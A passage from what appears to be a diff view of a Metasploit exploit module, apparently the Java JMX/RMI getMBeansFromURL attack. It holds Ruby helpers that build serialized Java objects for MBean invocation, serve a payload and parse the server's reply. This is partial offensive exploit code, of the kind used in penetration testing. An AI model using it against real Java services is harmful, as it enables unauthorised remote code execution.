marshall_object_class_desc.fields[1].name = Rex::Java::Serialization::Model::Utf.new(nil, 'locBytes')
|
||||
marshall_object_class_desc.fields[1].field_type = Rex::Java::Serialization::Model::Utf.new(nil, '[B')
|
||||
|
||||
marshall_object_class_desc.fields[2].type = 'array'
|
||||
marshall_object_class_desc.fields[2].name = Rex::Java::Serialization::Model::Utf.new(nil, 'objBytes')
|
||||
marshall_object_class_desc.fields[2].field_type = Rex::Java::Serialization::Model::Utf.new(nil, '[B')
|
||||
|
||||
marshall_object_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
|
||||
marshall_object_class_desc.class_annotation.contents = [
|
||||
Rex::Java::Serialization::Model::NullReference.new,
|
||||
Rex::Java::Serialization::Model::EndBlockData.new
|
||||
]
|
||||
marshall_object_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
marshall_object_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
|
||||
|
||||
|
||||
data_binary_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
|
||||
data_binary_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[B')
|
||||
data_binary_class_desc.serial_version = 0xacf317f8060854e0
|
||||
data_binary_class_desc.flags = 2
|
||||
data_binary_class_desc.fields = []
|
||||
data_binary_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
|
||||
data_binary_class_desc.class_annotation.contents = [
|
||||
Rex::Java::Serialization::Model::NullReference.new,
|
||||
Rex::Java::Serialization::Model::EndBlockData.new
|
||||
]
|
||||
data_binary_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
data_binary_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
|
||||
|
||||
data_binary = Rex::Java::Serialization::Model::NewArray.new
|
||||
data_binary.array_description = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
data_binary.array_description.description = data_binary_class_desc
|
||||
data_binary.type = 'byte'
|
||||
data_binary.values = marshalled_argument(arguments).encode.unpack('C*')
|
||||
|
||||
marshall_object = Rex::Java::Serialization::Model::NewObject.new
|
||||
marshall_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
marshall_object.class_desc.description = marshall_object_class_desc
|
||||
marshall_object.class_data = [
|
||||
["int", 1919492550],
|
||||
Rex::Java::Serialization::Model::NullReference.new,
|
||||
data_binary
|
||||
]
|
||||
|
||||
stream.contents << marshall_object
|
||||
|
||||
new_array_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
|
||||
new_array_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.lang.String;')
|
||||
new_array_class_desc.serial_version = 0xadd256e7e91d7b47
|
||||
new_array_class_desc.flags = 2
|
||||
new_array_class_desc.fields = []
|
||||
new_array_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
|
||||
new_array_class_desc.class_annotation.contents = [
|
||||
Rex::Java::Serialization::Model::NullReference.new,
|
||||
Rex::Java::Serialization::Model::EndBlockData.new
|
||||
]
|
||||
new_array_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
new_array_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
|
||||
|
||||
new_array = Rex::Java::Serialization::Model::NewArray.new
|
||||
new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
new_array.array_description.description = new_array_class_desc
|
||||
new_array.type = 'java.lang.String;'
|
||||
new_array.values = []
|
||||
arguments.keys.each do |k|
|
||||
new_array.values << Rex::Java::Serialization::Model::Utf.new(nil, k)
|
||||
end
|
||||
|
||||
stream.contents << new_array
|
||||
|
||||
stream.contents << Rex::Java::Serialization::Model::NullReference.new
|
||||
|
||||
stream
|
||||
end
|
||||
|
||||
def marshalled_argument(arguments)
|
||||
stream = Rex::Java::Serialization::Model::Stream.new
|
||||
|
||||
new_array_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
|
||||
new_array_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.lang.Object;')
|
||||
new_array_class_desc.serial_version = 0x90ce589f1073296c
|
||||
new_array_class_desc.flags = 2
|
||||
new_array_class_desc.fields = []
|
||||
new_array_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
|
||||
new_array_class_desc.class_annotation.contents = [
|
||||
Rex::Java::Serialization::Model::EndBlockData.new
|
||||
]
|
||||
new_array_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
new_array_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
|
||||
|
||||
new_array = Rex::Java::Serialization::Model::NewArray.new
|
||||
new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
new_array.array_description.description = new_array_class_desc
|
||||
new_array.type = 'java.lang.Object;'
|
||||
new_array.values = [ ]
|
||||
arguments.values.each do |v|
|
||||
new_array.values << Rex::Java::Serialization::Model::Utf.new(nil, v)
|
||||
end
|
||||
stream.contents << new_array
|
||||
|
||||
stream
|
||||
end
|
||||
|
||||
def load_payload(server_sock, conn_stub)
|
||||
print_status("Starting service...")
|
||||
start_service
|
||||
|
@ -681,22 +286,4 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
stop_service
|
||||
end
|
||||
|
||||
def get_mbean_from_url_answer(stream)
|
||||
new_object = nil
|
||||
|
||||
if stream.contents[3]
|
||||
new_object = stream.contents[3]
|
||||
else
|
||||
print_error("#{peer} - getMBeansFromURL returned an incorrect answer")
|
||||
return nil
|
||||
end
|
||||
|
||||
unless new_object.class == Rex::Java::Serialization::Model::NewObject
|
||||
print_error("#{peer} - getMBeansFromURL didn't return a new object")
|
||||
return nil
|
||||
end
|
||||
|
||||
new_object.class_desc.description.class_name.contents
|
||||
end
|
||||
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue